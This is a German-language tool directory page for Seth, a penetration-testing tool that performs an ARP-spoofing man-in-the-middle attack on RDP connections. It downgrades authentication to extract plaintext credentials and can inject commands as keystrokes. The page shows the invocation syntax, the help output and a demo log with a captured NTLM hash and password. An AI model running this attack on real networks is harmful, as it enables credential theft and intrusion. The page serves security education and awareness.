Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Seth — Führen Sie einen MitM-Angriff durch und extrahieren Sie Klartext-Anmeldeinformationen aus RDP-Verbindungen | Kitploit
Tools/GitHubGitHub/syss-research/seth
ExploitationInformationsbeschaffungNetzwerksicherheitPenetrationstestsAuthentifizierungLernen & BildungRed Teaming
GitHubsyss-research/seth

Seth

Führen Sie einen MitM-Angriff durch und extrahieren Sie Klartext-Anmeldeinformationen aus RDP-Verbindungen

Repository anzeigen
1.5k3194vor 9 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Seth

Seth ist ein in Python und Bash geschriebenes Tool, um RDP-Verbindungen zu MitM, indem versucht wird, die Verbindung herabzustufen, um Klartext-Anmeldedaten zu extrahieren. Es wurde entwickelt, um das Bewusstsein zu schärfen und über die Bedeutung korrekt konfigurierter RDP-Verbindungen im Rahmen von Pentests, Workshops oder Vorträgen zu informieren. Der Autor ist Adrian Vollmer (SySS GmbH).

Verwendung

Führen Sie es wie folgt aus:

root@kitploit:~
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]

Sofern sich der RDP-Host nicht im selben Subnetz wie das Opfer befindet, muss die letzte IP-Adresse die des Gateways sein.

Der letzte Parameter ist optional. Er kann einen Befehl enthalten, der auf dem RDP-Host durch Simulation von WIN+R per Tastendruck-Ereignisinjektion ausgeführt wird. Die Tastendruckinjektion hängt vom verwendeten Tastaturlayout des Opfers ab – derzeit ist sie nur mit dem englischen US-Layout zuverlässig. Ich empfehle, Sonderzeichen zu vermeiden, indem Sie powershell -enc <STRING> verwenden, wobei STRING Ihr UTF-16LE- und Base64-kodierter Befehl ist. calc sollte jedoch ziemlich universell sein und die Aufgabe erfüllen.

Das Shell-Skript führt ARP-Spoofing durch, um eine Man-in-the-Middle-Position zu erlangen, und leitet den Verkehr so um, dass er durch einen RDP-Proxy läuft. Der Proxy kann separat aufgerufen werden. Dies kann nützlich sein, wenn Sie Seth in Kombination mit Responder verwenden möchten. Verwenden Sie Responder, um eine Man-in-the-Middle-Position zu erlangen, und führen Sie gleichzeitig Seth aus. Führen Sie für weitere Informationen aus:

seth.py -h
root@kitploit:~
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
               [-j INJECT] -c CERTFILE -k KEYFILE
               target_host [target_port]

RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017

positional arguments:
  target_host           target host of the RDP service
  target_port           TCP port of the target RDP service (default 3389)

optional arguments:
  -h, --help            show this help message and exit
  -d, --debug           show debug information
  -f, --fake-server     perform a 'fake server' attack
  -p LISTEN_PORT, --listen-port LISTEN_PORT
                        TCP port to listen on (default 3389)
  -b BIND_IP, --bind-ip BIND_IP
                        IP address to bind the fake service to (default all)
  -g {0,1,3,11}, --downgrade {0,1,3,11}
                        downgrade the authentication protocol to this (default
                        3)
  -j INJECT, --inject INJECT
                        command to execute via key press event injection
  -c CERTFILE, --certfile CERTFILE
                        path to the certificate file
  -k KEYFILE, --keyfile KEYFILE
                        path to the key file

Für weitere Informationen lesen Sie das PDF in doc/paper (oder den Code!). Das Papier enthält auch Empfehlungen für Gegenmaßnahmen.

Sie können sich auch eine zwanzigminütige Präsentation inklusive Demo (ab 14:00) auf Youtube ansehen: https://www.youtube.com/watch?v=wdPkY7gykf4

Oder sehen Sie sich nur die Demo (mit Untertiteln) hier an: https://www.youtube.com/watch?v=JvvxTNrKV-s

Demo

Die folgende Ausgabe zeigt die Sicht des Angreifers. Seth schnappt einen offline knackbaren Hash sowie das Klartext-Passwort. Hier wird NLA nicht erzwungen und das Opfer hat die Zertifikatswarnung ignoriert.

Seth

root@kitploit:~
# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   [email protected]
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press:   LShift
Key press:   S
Key release:                 S
Key release:                 LShift
Key press:   E
Key release:                 E
Key press:   C
Key release:                 C
Key press:   R
Key release:                 R
Key press:   E
Key release:                 E
Key press:   T
Key release:                 T
Connection lost
[*] Cleaning up...
[*] Done.

Anforderungen

  • python3

  • tcpdump

  • arpspoof

    arpspoof ist Teil von dsniff

  • openssl

Haftungsausschluss

Verwendung auf eigene Gefahr. Nicht ohne vollständige Zustimmung aller Beteiligten verwenden. Nur zu Bildungszwecken.

Tool herunterladen